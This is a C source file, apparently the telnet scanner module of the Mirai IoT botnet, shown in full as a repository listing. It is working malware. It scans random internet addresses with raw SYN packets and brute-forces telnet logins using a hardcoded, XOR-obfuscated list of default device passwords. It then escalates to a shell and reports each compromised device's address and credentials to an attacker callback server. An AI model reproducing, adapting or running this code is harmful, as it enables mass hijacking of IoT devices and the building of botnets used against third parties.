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6a5941b Oct 3, 2016
executable file 992 lines (862 sloc) 35.9 KB
#define _GNU_SOURCE
#ifdef MIRAI_TELNET
#ifdef DEBUG
#include <stdio.h>
#endif
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <sys/select.h>
#include <sys/types.h>
#include <time.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <string.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include "includes.h"
#include "scanner.h"
#include "table.h"
#include "rand.h"
#include "util.h"
#include "checksum.h"
#include "resolv.h"
int scanner_pid, rsck, rsck_out, auth_table_len = 0;
char scanner_rawpkt[sizeof (struct iphdr) + sizeof (struct tcphdr)] = {0};
struct scanner_auth *auth_table = NULL;
struct scanner_connection *conn_table;
uint16_t auth_table_max_weight = 0;
uint32_t fake_time = 0;
int recv_strip_null(int sock, void *buf, int len, int flags)
{
int ret = recv(sock, buf, len, flags);
if (ret > 0)
{
int i = 0;
for(i = 0; i < ret; i++)
{
if (((char *)buf)[i] == 0x00)
{
((char *)buf)[i] = 'A';
}
}
}
return ret;
}
void scanner_init(void)
{
int i;
uint16_t source_port;
struct iphdr *iph;
struct tcphdr *tcph;
// Let parent continue on main thread
scanner_pid = fork();
if (scanner_pid > 0 || scanner_pid == -1)
return;
LOCAL_ADDR = util_local_addr();
rand_init();
fake_time = time(NULL);
conn_table = calloc(SCANNER_MAX_CONNS, sizeof (struct scanner_connection));
for (i = 0; i < SCANNER_MAX_CONNS; i++)
{
conn_table[i].state = SC_CLOSED;
conn_table[i].fd = -1;
}
// Set up raw socket scanning and payload
if ((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
{
#ifdef DEBUG
printf("[scanner] Failed to initialize raw socket, cannot scan\n");
#endif
exit(0);
}
fcntl(rsck, F_SETFL, O_NONBLOCK | fcntl(rsck, F_GETFL, 0));
i = 1;
if (setsockopt(rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof (i)) != 0)
{
#ifdef DEBUG
printf("[scanner] Failed to set IP_HDRINCL, cannot scan\n");
#endif
close(rsck);
exit(0);
}
do
{
source_port = rand_next() & 0xffff;
}
while (ntohs(source_port) < 1024);
iph = (struct iphdr *)scanner_rawpkt;
tcph = (struct tcphdr *)(iph + 1);
// Set up IPv4 header
iph->ihl = 5;
iph->version = 4;
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr));
iph->id = rand_next();
iph->ttl = 64;
iph->protocol = IPPROTO_TCP;
// Set up TCP header
tcph->dest = htons(23);
tcph->source = source_port;
tcph->doff = 5;
tcph->window = rand_next() & 0xffff;
tcph->syn = TRUE;
// Set up passwords
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511
add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8); // root admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7); // admin admin
add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6); // root 888888
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5); // root xmhdipc
add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5); // root default
add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5); // root juantech
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5); // root 123456
add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5); // root 54321
add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5); // support support
add_auth_entry("\x50\x4D\x4D\x56", "", 4); // root (none)
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4); // admin password
add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4); // root root
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4); // root 12345
add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3); // user user
add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3); // admin (none)
add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3); // root pass
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3); // admin admin1234
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3); // root 1111
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3); // admin smcadmin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2); // admin 1111
add_auth_entry("\x50\x4D\x4D\x56", "\x14\x14\x14\x14\x14\x14", 2); // root 666666
add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51\x55\x4D\x50\x46", 2); // root password
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16", 2); // root 1234
add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11", 1); // root klv123
add_auth_entry("\x63\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x4F\x47\x4B\x4C\x51\x4F", 1); // Administrator admin
add_auth_entry("\x51\x47\x50\x54\x4B\x41\x47", "\x51\x47\x50\x54\x4B\x41\x47", 1); // service service
add_auth_entry("\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", "\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", 1); // supervisor supervisor
add_auth_entry("\x45\x57\x47\x51\x56", "\x45\x57\x47\x51\x56", 1); // guest guest
add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1); // guest 12345
add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1); // guest 12345
add_auth_entry("\x43\x46\x4F\x4B\x4C\x13", "\x52\x43\x51\x51\x55\x4D\x50\x46", 1); // admin1 password
add_auth_entry("\x43\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x13\x10\x11\x16", 1); // administrator 1234
add_auth_entry("\x14\x14\x14\x14\x14\x14", "\x14\x14\x14\x14\x14\x14", 1); // 666666 666666
add_auth_entry("\x1A\x1A\x1A\x1A\x1A\x1A", "\x1A\x1A\x1A\x1A\x1A\x1A", 1); // 888888 888888
add_auth_entry("\x57\x40\x4C\x56", "\x57\x40\x4C\x56", 1); // ubnt ubnt
add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11\x16", 1); // root klv1234
add_auth_entry("\x50\x4D\x4D\x56", "\x78\x56\x47\x17\x10\x13", 1); // root Zte521
add_auth_entry("\x50\x4D\x4D\x56", "\x4A\x4B\x11\x17\x13\x1A", 1); // root hi3518
add_auth_entry("\x50\x4D\x4D\x56", "\x48\x54\x40\x58\x46", 1); // root jvbzd
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x4C\x49\x4D", 4); // root anko
add_auth_entry("\x50\x4D\x4D\x56", "\x58\x4E\x5A\x5A\x0C", 1); // root zlxx.
add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x54\x4B\x58\x5A\x54", 1); // root 7ujMko0vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // root 7ujMko0admin
add_auth_entry("\x50\x4D\x4D\x56", "\x51\x5B\x51\x56\x47\x4F", 1); // root system
add_auth_entry("\x50\x4D\x4D\x56", "\x4B\x49\x55\x40", 1); // root ikwb
add_auth_entry("\x50\x4D\x4D\x56", "\x46\x50\x47\x43\x4F\x40\x4D\x5A", 1); // root dreambox
add_auth_entry("\x50\x4D\x4D\x56", "\x57\x51\x47\x50", 1); // root user
add_auth_entry("\x50\x4D\x4D\x56", "\x50\x47\x43\x4E\x56\x47\x49", 1); // root realtek
add_auth_entry("\x50\x4D\x4D\x56", "\x12\x12\x12\x12\x12\x12\x12\x12", 1); // root 00000000
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13\x13\x13\x13", 1); // admin 1111111
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16", 1); // admin 1234
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17", 1); // admin 12345
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x17\x16\x11\x10\x13", 1); // admin 54321
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17\x14", 1); // admin 123456
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // admin 7ujMko0admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x16\x11\x10\x13", 1); // admin 1234
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51", 1); // admin pass
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x4F\x47\x4B\x4C\x51\x4F", 1); // admin meinsm
add_auth_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1); // tech tech
add_auth_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1); // mother fucker
#ifdef DEBUG
printf("[scanner] Scanner process initialized. Scanning started.\n");
#endif
// Main logic loop
while (TRUE)
{
fd_set fdset_rd, fdset_wr;
struct scanner_connection *conn;
struct timeval tim;
int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;
// Spew out SYN to try and get a response
if (fake_time != last_spew)
{
last_spew = fake_time;
for (i = 0; i < SCANNER_RAW_PPS; i++)
{
struct sockaddr_in paddr = {0};
struct iphdr *iph = (struct iphdr *)scanner_rawpkt;
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
iph->id = rand_next();
iph->saddr = LOCAL_ADDR;
iph->daddr = get_random_ip();
iph->check = 0;
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
if (i % 10 == 0)
{
tcph->dest = htons(2323);
}
else
{
tcph->dest = htons(23);
}
tcph->seq = iph->daddr;
tcph->check = 0;
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));
paddr.sin_family = AF_INET;
paddr.sin_addr.s_addr = iph->daddr;
paddr.sin_port = tcph->dest;
sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr));
}
}
// Read packets from raw socket to get SYN+ACKs
last_avail_conn = 0;
while (TRUE)
{
int n;
char dgram[1514];
struct iphdr *iph = (struct iphdr *)dgram;
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
struct scanner_connection *conn;
errno = 0;
n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL);
if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
break;
if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))
continue;
if (iph->daddr != LOCAL_ADDR)
continue;
if (iph->protocol != IPPROTO_TCP)
continue;
if (tcph->source != htons(23) && tcph->source != htons(2323))
continue;
if (tcph->dest != source_port)
continue;
if (!tcph->syn)
continue;
if (!tcph->ack)
continue;
if (tcph->rst)
continue;
if (tcph->fin)
continue;
if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
continue;
conn = NULL;
for (n = last_avail_conn; n < SCANNER_MAX_CONNS; n++)
{
if (conn_table[n].state == SC_CLOSED)
{
conn = &conn_table[n];
last_avail_conn = n;
break;
}
}
// If there were no slots, then no point reading any more
if (conn == NULL)
break;
conn->dst_addr = iph->saddr;
conn->dst_port = tcph->source;
setup_connection(conn);
#ifdef DEBUG
printf("[scanner] FD%d Attempting to brute found IP %d.%d.%d.%d\n", conn->fd, iph->saddr & 0xff, (iph->saddr >> 8) & 0xff, (iph->saddr >> 16) & 0xff, (iph->saddr >> 24) & 0xff);
#endif
}
// Load file descriptors into fdsets
FD_ZERO(&fdset_rd);
FD_ZERO(&fdset_wr);
for (i = 0; i < SCANNER_MAX_CONNS; i++)
{
int timeout;
conn = &conn_table[i];
timeout = (conn->state > SC_CONNECTING ? 30 : 5);
if (conn->state != SC_CLOSED && (fake_time - conn->last_recv) > timeout)
{
#ifdef DEBUG
printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state);
#endif
close(conn->fd);
conn->fd = -1;
// Retry
if (conn->state > SC_HANDLE_IACS) // If we were at least able to connect, try again
{
if (++(conn->tries) == 10)
{
conn->tries = 0;
conn->state = SC_CLOSED;
}
else
{
setup_connection(conn);
#ifdef DEBUG
printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
#endif
}
}
else
{
conn->tries = 0;
conn->state = SC_CLOSED;
}
continue;
}
if (conn->state == SC_CONNECTING)
{
FD_SET(conn->fd, &fdset_wr);
if (conn->fd > mfd_wr)
mfd_wr = conn->fd;
}
else if (conn->state != SC_CLOSED)
{
FD_SET(conn->fd, &fdset_rd);
if (conn->fd > mfd_rd)
mfd_rd = conn->fd;
}
}
tim.tv_usec = 0;
tim.tv_sec = 1;
nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);
fake_time = time(NULL);
for (i = 0; i < SCANNER_MAX_CONNS; i++)
{
conn = &conn_table[i];
if (conn->fd == -1)
continue;
if (FD_ISSET(conn->fd, &fdset_wr))
{
int err = 0, ret = 0;
socklen_t err_len = sizeof (err);
ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
if (err == 0 && ret == 0)
{
conn->state = SC_HANDLE_IACS;
conn->auth = random_auth_entry();
conn->rdbuf_pos = 0;
#ifdef DEBUG
printf("[scanner] FD%d connected. Trying %s:%s\n", conn->fd, conn->auth->username, conn->auth->password);
#endif
}
else
{
#ifdef DEBUG
printf("[scanner] FD%d error while connecting = %d\n", conn->fd, err);
#endif
close(conn->fd);
conn->fd = -1;
conn->tries = 0;
conn->state = SC_CLOSED;
continue;
}
}
if (FD_ISSET(conn->fd, &fdset_rd))
{
while (TRUE)
{
int ret;
if (conn->state == SC_CLOSED)
break;
if (conn->rdbuf_pos == SCANNER_RDBUF_SIZE)
{
memmove(conn->rdbuf, conn->rdbuf + SCANNER_HACK_DRAIN, SCANNER_RDBUF_SIZE - SCANNER_HACK_DRAIN);
conn->rdbuf_pos -= SCANNER_HACK_DRAIN;
}
errno = 0;
ret = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
if (ret == 0)
{
#ifdef DEBUG
printf("[scanner] FD%d connection gracefully closed\n", conn->fd);
#endif
errno = ECONNRESET;
ret = -1; // Fall through to closing connection below
}
if (ret == -1)
{
if (errno != EAGAIN && errno != EWOULDBLOCK)
{
#ifdef DEBUG
printf("[scanner] FD%d lost connection\n", conn->fd);
#endif
close(conn->fd);
conn->fd = -1;
// Retry
if (++(conn->tries) >= 10)
{
conn->tries = 0;
conn->state = SC_CLOSED;
}
else
{
setup_connection(conn);
#ifdef DEBUG
printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
#endif
}
}
break;
}
conn->rdbuf_pos += ret;
conn->last_recv = fake_time;
while (TRUE)
{
int consumed = 0;
switch (conn->state)
{
case SC_HANDLE_IACS:
if ((consumed = consume_iacs(conn)) > 0)
{
conn->state = SC_WAITING_USERNAME;
#ifdef DEBUG
printf("[scanner] FD%d finished telnet negotiation\n", conn->fd);
#endif
}
break;
case SC_WAITING_USERNAME:
if ((consumed = consume_user_prompt(conn)) > 0)
{
send(conn->fd, conn->auth->username, conn->auth->username_len, MSG_NOSIGNAL);
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
conn->state = SC_WAITING_PASSWORD;
#ifdef DEBUG
printf("[scanner] FD%d received username prompt\n", conn->fd);
#endif
}
break;
case SC_WAITING_PASSWORD:
if ((consumed = consume_pass_prompt(conn)) > 0)
{
#ifdef DEBUG
printf("[scanner] FD%d received password prompt\n", conn->fd);
#endif
// Send password
send(conn->fd, conn->auth->password, conn->auth->password_len, MSG_NOSIGNAL);
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
conn->state = SC_WAITING_PASSWD_RESP;
}
break;
case SC_WAITING_PASSWD_RESP:
if ((consumed = consume_any_prompt(conn)) > 0)
{
char *tmp_str;
int tmp_len;
#ifdef DEBUG
printf("[scanner] FD%d received shell prompt\n", conn->fd);
#endif
// Send enable / system / shell / sh to session to drop into shell if needed
table_unlock_val(TABLE_SCAN_ENABLE);
tmp_str = table_retrieve_val(TABLE_SCAN_ENABLE, &tmp_len);
send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
table_lock_val(TABLE_SCAN_ENABLE);
conn->state = SC_WAITING_ENABLE_RESP;
}
break;
case SC_WAITING_ENABLE_RESP:
if ((consumed = consume_any_prompt(conn)) > 0)
{
char *tmp_str;
int tmp_len;
#ifdef DEBUG
printf("[scanner] FD%d received sh prompt\n", conn->fd);
#endif
table_unlock_val(TABLE_SCAN_SYSTEM);
tmp_str = table_retrieve_val(TABLE_SCAN_SYSTEM, &tmp_len);
send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
table_lock_val(TABLE_SCAN_SYSTEM);
conn->state = SC_WAITING_SYSTEM_RESP;
}
break;
case SC_WAITING_SYSTEM_RESP:
if ((consumed = consume_any_prompt(conn)) > 0)
{
char *tmp_str;
int tmp_len;
#ifdef DEBUG
printf("[scanner] FD%d received sh prompt\n", conn->fd);
#endif
table_unlock_val(TABLE_SCAN_SHELL);
tmp_str = table_retrieve_val(TABLE_SCAN_SHELL, &tmp_len);
send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
table_lock_val(TABLE_SCAN_SHELL);
conn->state = SC_WAITING_SHELL_RESP;
}
break;
case SC_WAITING_SHELL_RESP:
if ((consumed = consume_any_prompt(conn)) > 0)
{
char *tmp_str;
int tmp_len;
#ifdef DEBUG
printf("[scanner] FD%d received enable prompt\n", conn->fd);
#endif
table_unlock_val(TABLE_SCAN_SH);
tmp_str = table_retrieve_val(TABLE_SCAN_SH, &tmp_len);
send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
table_lock_val(TABLE_SCAN_SH);
conn->state = SC_WAITING_SH_RESP;
}
break;
case SC_WAITING_SH_RESP:
if ((consumed = consume_any_prompt(conn)) > 0)
{
char *tmp_str;
int tmp_len;
#ifdef DEBUG
printf("[scanner] FD%d received sh prompt\n", conn->fd);
#endif
// Send query string
table_unlock_val(TABLE_SCAN_QUERY);
tmp_str = table_retrieve_val(TABLE_SCAN_QUERY, &tmp_len);
send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
table_lock_val(TABLE_SCAN_QUERY);
conn->state = SC_WAITING_TOKEN_RESP;
}
break;
case SC_WAITING_TOKEN_RESP:
consumed = consume_resp_prompt(conn);
if (consumed == -1)
{
#ifdef DEBUG
printf("[scanner] FD%d invalid username/password combo\n", conn->fd);
#endif
close(conn->fd);
conn->fd = -1;
// Retry
if (++(conn->tries) == 10)
{
conn->tries = 0;
conn->state = SC_CLOSED;
}
else
{
setup_connection(conn);
#ifdef DEBUG
printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
#endif
}
}
else if (consumed > 0)
{
char *tmp_str;
int tmp_len;
#ifdef DEBUG
printf("[scanner] FD%d Found verified working telnet\n", conn->fd);
#endif
report_working(conn->dst_addr, conn->dst_port, conn->auth);
close(conn->fd);
conn->fd = -1;
conn->state = SC_CLOSED;
}
break;
default:
consumed = 0;
break;
}
// If no data was consumed, move on
if (consumed == 0)
break;
else
{
if (consumed > conn->rdbuf_pos)
consumed = conn->rdbuf_pos;
conn->rdbuf_pos -= consumed;
memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos);
}
}
}
}
}
}
}
void scanner_kill(void)
{
kill(scanner_pid, 9);
}
static void setup_connection(struct scanner_connection *conn)
{
struct sockaddr_in addr = {0};
if (conn->fd != -1)
close(conn->fd);
if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
#ifdef DEBUG
printf("[scanner] Failed to call socket()\n");
#endif
return;
}
conn->rdbuf_pos = 0;
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = conn->dst_addr;
addr.sin_port = conn->dst_port;
conn->last_recv = fake_time;
conn->state = SC_CONNECTING;
connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
}
static ipv4_t get_random_ip(void)
{
uint32_t tmp;
uint8_t o1, o2, o3, o4;
do
{
tmp = rand_next();
o1 = tmp & 0xff;
o2 = (tmp >> 8) & 0xff;
o3 = (tmp >> 16) & 0xff;
o4 = (tmp >> 24) & 0xff;
}
while (o1 == 127 || // 127.0.0.0/8 - Loopback
(o1 == 0) || // 0.0.0.0/8 - Invalid address space
(o1 == 3) || // 3.0.0.0/8 - General Electric Company
(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
(o1 == 56) || // 56.0.0.0/8 - US Postal Service
(o1 == 10) || // 10.0.0.0/8 - Internal network
(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
(o1 >= 224) || // 224.*.*.*+ - Multicast
(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
);
return INET_ADDR(o1,o2,o3,o4);
}
static int consume_iacs(struct scanner_connection *conn)
{
int consumed = 0;
uint8_t *ptr = conn->rdbuf;
while (consumed < conn->rdbuf_pos)
{
int i;
if (*ptr != 0xff)
break;
else if (*ptr == 0xff)
{
if (!can_consume(conn, ptr, 1))
break;
if (ptr[1] == 0xff)
{
ptr += 2;
consumed += 2;
continue;
}
else if (ptr[1] == 0xfd)
{
uint8_t tmp1[3] = {255, 251, 31};
uint8_t tmp2[9] = {255, 250, 31, 0, 80, 0, 24, 255, 240};
if (!can_consume(conn, ptr, 2))
break;
if (ptr[2] != 31)
goto iac_wont;
ptr += 3;
consumed += 3;
send(conn->fd, tmp1, 3, MSG_NOSIGNAL);
send(conn->fd, tmp2, 9, MSG_NOSIGNAL);
}
else
{
iac_wont:
if (!can_consume(conn, ptr, 2))
break;
for (i = 0; i < 3; i++)
{
if (ptr[i] == 0xfd)
ptr[i] = 0xfc;
else if (ptr[i] == 0xfb)
ptr[i] = 0xfd;
}
send(conn->fd, ptr, 3, MSG_NOSIGNAL);
ptr += 3;
consumed += 3;
}
}
}
return consumed;
}
static int consume_any_prompt(struct scanner_connection *conn)
{
char *pch;
int i, prompt_ending = -1;
for (i = conn->rdbuf_pos - 1; i > 0; i--)
{
if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
{
prompt_ending = i + 1;
break;
}
}
if (prompt_ending == -1)
return 0;
else
return prompt_ending;
}
static int consume_user_prompt(struct scanner_connection *conn)
{
char *pch;
int i, prompt_ending = -1;
for (i = conn->rdbuf_pos - 1; i > 0; i--)
{
if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
{
prompt_ending = i + 1;
break;
}
}
if (prompt_ending == -1)
{
int tmp;
if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "ogin", 4)) != -1)
prompt_ending = tmp;
else if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "enter", 5)) != -1)
prompt_ending = tmp;
}
if (prompt_ending == -1)
return 0;
else
return prompt_ending;
}
static int consume_pass_prompt(struct scanner_connection *conn)
{
char *pch;
int i, prompt_ending = -1;
for (i = conn->rdbuf_pos - 1; i > 0; i--)
{
if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#')
{
prompt_ending = i + 1;
break;
}
}
if (prompt_ending == -1)
{
int tmp;
if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "assword", 7)) != -1)
prompt_ending = tmp;
}
if (prompt_ending == -1)
return 0;
else
return prompt_ending;
}
static int consume_resp_prompt(struct scanner_connection *conn)
{
char *tkn_resp;
int prompt_ending, len;
table_unlock_val(TABLE_SCAN_NCORRECT);
tkn_resp = table_retrieve_val(TABLE_SCAN_NCORRECT, &len);
if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, tkn_resp, len - 1) != -1)
{
table_lock_val(TABLE_SCAN_NCORRECT);
return -1;
}
table_lock_val(TABLE_SCAN_NCORRECT);
table_unlock_val(TABLE_SCAN_RESP);
tkn_resp = table_retrieve_val(TABLE_SCAN_RESP, &len);
prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, tkn_resp, len - 1);
table_lock_val(TABLE_SCAN_RESP);
if (prompt_ending == -1)
return 0;
else
return prompt_ending;
}
static void add_auth_entry(char *enc_user, char *enc_pass, uint16_t weight)
{
int tmp;
auth_table = realloc(auth_table, (auth_table_len + 1) * sizeof (struct scanner_auth));
auth_table[auth_table_len].username = deobf(enc_user, &tmp);
auth_table[auth_table_len].username_len = (uint8_t)tmp;
auth_table[auth_table_len].password = deobf(enc_pass, &tmp);
auth_table[auth_table_len].password_len = (uint8_t)tmp;
auth_table[auth_table_len].weight_min = auth_table_max_weight;
auth_table[auth_table_len++].weight_max = auth_table_max_weight + weight;
auth_table_max_weight += weight;
}
static struct scanner_auth *random_auth_entry(void)
{
int i;
uint16_t r = (uint16_t)(rand_next() % auth_table_max_weight);
for (i = 0; i < auth_table_len; i++)
{
if (r < auth_table[i].weight_min)
continue;
else if (r < auth_table[i].weight_max)
return &auth_table[i];
}
return NULL;
}
static void report_working(ipv4_t daddr, uint16_t dport, struct scanner_auth *auth)
{
struct sockaddr_in addr;
int pid = fork(), fd;
struct resolv_entries *entries = NULL;
if (pid > 0 || pid == -1)
return;
if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
#ifdef DEBUG
printf("[report] Failed to call socket()\n");
#endif
exit(0);
}
table_unlock_val(TABLE_SCAN_CB_DOMAIN);
table_unlock_val(TABLE_SCAN_CB_PORT);
entries = resolv_lookup(table_retrieve_val(TABLE_SCAN_CB_DOMAIN, NULL));
if (entries == NULL)
{
#ifdef DEBUG
printf("[report] Failed to resolve report address\n");
#endif
return;
}
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = entries->addrs[rand_next() % entries->addrs_len];
addr.sin_port = *((port_t *)table_retrieve_val(TABLE_SCAN_CB_PORT, NULL));
resolv_entries_free(entries);
table_lock_val(TABLE_SCAN_CB_DOMAIN);
table_lock_val(TABLE_SCAN_CB_PORT);
if (connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
{
#ifdef DEBUG
printf("[report] Failed to connect to scanner callback!\n");
#endif
close(fd);
exit(0);
}
uint8_t zero = 0;
send(fd, &zero, sizeof (uint8_t), MSG_NOSIGNAL);
send(fd, &daddr, sizeof (ipv4_t), MSG_NOSIGNAL);
send(fd, &dport, sizeof (uint16_t), MSG_NOSIGNAL);
send(fd, &(auth->username_len), sizeof (uint8_t), MSG_NOSIGNAL);
send(fd, auth->username, auth->username_len, MSG_NOSIGNAL);
send(fd, &(auth->password_len), sizeof (uint8_t), MSG_NOSIGNAL);
send(fd, auth->password, auth->password_len, MSG_NOSIGNAL);
#ifdef DEBUG
printf("[report] Send scan result to loader\n");
#endif
close(fd);
exit(0);
}
static char *deobf(char *str, int *len)
{
int i;
char *cpy;
*len = util_strlen(str);
cpy = malloc(*len + 1);
util_memcpy(cpy, str, *len + 1);
for (i = 0; i < *len; i++)
{
cpy[i] ^= 0xDE;
cpy[i] ^= 0xAD;
cpy[i] ^= 0xBE;
cpy[i] ^= 0xEF;
}
return cpy;
}
static BOOL can_consume(struct scanner_connection *conn, uint8_t *ptr, int amount)
{
uint8_t *end = conn->rdbuf + conn->rdbuf_pos;
return ptr + amount < end;
}
#endif